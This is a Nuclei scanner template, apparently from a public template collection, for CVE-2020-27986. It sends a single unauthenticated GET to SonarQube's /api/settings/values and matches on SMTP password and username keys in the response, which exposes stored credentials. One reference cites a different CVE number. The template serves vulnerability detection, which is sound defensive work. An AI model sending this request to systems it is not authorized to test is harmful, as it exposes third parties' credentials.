id: CVE-2020-27986 info: name: SonarQube - Authentication Bypass author: pikpikcu severity: high description: | SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI. remediation: Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it." reference: - https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/ - https://nvd.nist.gov/vuln/detail/CVE-2020-27866 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-27986 cwe-id: CWE-306 epss-score: 0.10231 epss-percentile: 0.94369 cpe: cpe:2.3:a:sonarsource:sonarqube:8.4.2.36762:*:*:*:*:*:*:* metadata: max-request: 1 vendor: sonarsource product: sonarqube tags: cve,cve2020,sonarqube http: - method: GET path: - "{{BaseURL}}/api/settings/values" matchers-condition: and matchers: - type: word part: body words: - email.smtp_host.secured - email.smtp_password.secured - email.smtp_port.secured - email.smtp_username.secured condition: and - type: status status: - 200 # digest: 490a00463044022061519d56c97295927a0823ad9ae0c76c08f7d4427ac541ebf5db404ebc5e94bf022033a5c23614afaf5ca3fd782fa20a321c55a1f98e3e8538bcbb34d4412d5c701d:922c64590222798bb761d5b6d8e72950